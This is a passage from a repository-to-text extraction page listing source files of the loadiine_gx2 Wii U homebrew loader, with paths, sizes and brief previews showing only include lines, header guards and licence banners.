"preview": "#include \"extra_log_patcher.h\"\n\n#define USE_EXTRA_LOG_FUNCTIONS 0\n\n#if (USE_EXTRA_LOG_FUNCTIONS == 1)\nDECL(int, OSDynL"
},
{
"path": "src/patcher/extra_log_patcher.h",
"chars": 404,
"preview": "#ifndef _EXTRA_LOG_FUNCTION_PATCHER_H\n#define _EXTRA_LOG_FUNCTION_PATCHER_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#in"
},
{
"path": "src/patcher/fs_logger.c",
"chars": 4642,
"preview": "#include <malloc.h>\n#include \"common/common.h\"\n#include \"dynamic_libs/os_functions.h\"\n#include \"dynamic_libs/socket_func"
},
{
"path": "src/patcher/fs_logger.h",
"chars": 2777,
"preview": "#ifndef FS_LOGGER_H_\n#define FS_LOGGER_H_\n\n/* Communication bytes with the server */\n// Com\n#define BYTE_NORMAL "
},
{
"path": "src/patcher/fs_patcher.cpp",
"chars": 12356,
"preview": "#include <stdio.h>\n#include <malloc.h>\n#include <string.h>\n#include \"fs_logger.h\"\n#include \"common/common.h\"\n#include \"c"
},
{
"path": "src/patcher/fs_patcher.h",
"chars": 362,
"preview": "#ifndef _FS_FUNCTION_PATCHER_H\n#define _FS_FUNCTION_PATCHER_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include \"utils/f"
},
{
"path": "src/patcher/fs_sd_patcher.cpp",
"chars": 13741,
"preview": "#include \"malloc.h\"\n#include \"common/retain_vars.h\"\n#include \"fs_sd_patcher.h\"\n#include \"patcher_util.h\"\n#include \"fs_lo"
},
{
"path": "src/patcher/fs_sd_patcher.h",
"chars": 380,
"preview": "#ifndef _FS_SD_FUNCTION_PATCHER_H\n#define _FS_SD_FUNCTION_PATCHER_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include \"u"
},
{
"path": "src/patcher/hid_controller_function_patcher.cpp",
"chars": 3228,
"preview": "#include <stdio.h>\n#include <string.h>\n#include \"hid_controller_function_patcher.h\"\n#include \"common/retain_vars.h\"\n#inc"
},
{
"path": "src/patcher/hid_controller_function_patcher.h",
"chars": 390,
"preview": "#ifndef _HID_CONTROLLER_FUNCTION_PATCHER_H\n#define _HID_CONTROLLER_FUNCTION_PATCHER_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#"
},
{
"path": "src/patcher/patcher_util.cpp",
"chars": 6313,
"preview": "#include \"patcher_util.h\"\n#include \"common/retain_vars.h\"\n#include \"cpp_to_c_util.h\"\n\n/* Client functions */\nint client_"
},
{
"path": "src/patcher/patcher_util.h",
"chars": 1055,
"preview": "#ifndef _PATCHER_UTIL_H\n#define _PATCHER_UTIL_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include \"common/common.h\"\n#inc"
},
{
"path": "src/patcher/pygecko.c",
"chars": 9300,
"preview": "#include <string.h>\n#include <malloc.h>\n#include \"common/common.h\"\n#include \"dynamic_libs/os_functions.h\"\n#include \"dyna"
},
{
"path": "src/patcher/pygecko.h",
"chars": 162,
"preview": "#ifndef _PYGECKO_H_\n#define _PYGECKO_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid start_pygecko(void);\n\n#ifdef __cpl"
},
{
"path": "src/patcher/rplrpx_patcher.cpp",
"chars": 15484,
"preview": "#include \"malloc.h\"\n#include \"common/retain_vars.h\"\n#include \"patcher/fs_patcher.h\"\n#include \"common/loader_defs.h\"\n#inc"
},
{
"path": "src/patcher/rplrpx_patcher.h",
"chars": 898,
"preview": "#ifndef _RPLRPX_FUNCTION_PATCHER_H\n#define _RPLRPX_FUNCTION_PATCHER_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include "
},
{
"path": "src/resources/Resources.cpp",
"chars": 4870,
"preview": "#include <gctypes.h>\n#include <malloc.h>\n#include <string.h>\n#include \"Resources.h\"\n#include \"filelist.h\"\n#include \"syst"
},
{
"path": "src/resources/Resources.h",
"chars": 798,
"preview": "#ifndef RECOURCES_H_\n#define RECOURCES_H_\n\n\n#include <map>\n\n//! forward declaration\nclass GuiImageData;\nclass GuiSound;\n"
},
{
"path": "src/resources/filelist.h",
"chars": 11743,
"preview": "/****************************************************************************\n * Loadiine resource files.\n * This file i"
},
{
"path": "src/settings/CSettings.cpp",
"chars": 10447,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/settings/CSettings.h",
"chars": 8189,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/settings/CSettingsGame.cpp",
"chars": 9960,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/settings/CSettingsGame.h",
"chars": 3235,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/settings/SettingsDefs.h",
"chars": 1229,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/settings/SettingsEnums.h",
"chars": 317,
"preview": "#ifndef SETTINGS_ENUMS_H_\n#define SETTINGS_ENUMS_H_\n\nenum eGameViewModes\n{\n VIEW_ICON_CAROUSEL,\n VIEW_ICON_GRID,\n "
},
{
"path": "src/settings/SettingsGameDefs.h",
"chars": 1096,
"preview": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This "
},
{
"path": "src/sounds/BufferCircle.cpp",
"chars": 2990,
"preview": "/***************************************************************************\n * Copyright (C) 2010\n * by Dimok\n *\n * Thi"
},
{
"path": "src/sounds/BufferCircle.hpp",
"chars": 3034,
"preview": "/***************************************************************************\n * Copyright (C) 2010\n * by Dimok\n *\n * Thi"
},
{
"path": "src/sounds/Mp3Decoder.cpp",
"chars": 4776,
"preview": "/***************************************************************************\n * Copyright (C) 2010\n * by Dimok\n *\n * Thi"
},
{
"path": "src/sounds/Mp3Decoder.hpp",
"chars": 1530,
"preview": "/***************************************************************************\n * Copyright (C) 2010\n * by Dimok\n *\n * Thi"
},
{
"path": "src/sounds/OggDecoder.cpp",
"chars": 3069,
"preview": "/***************************************************************************\n * Copyright (C) 2010\n * by Dimok\n *\n * Thi"
}
]
// ... and 82 more files (download for full content)
About this extraction
This page contains the full source code of the dimok789/loadiine_gx2 GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 282 files (1.9 MB), approximately 771.6k tokens, and a symbol index with 822 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.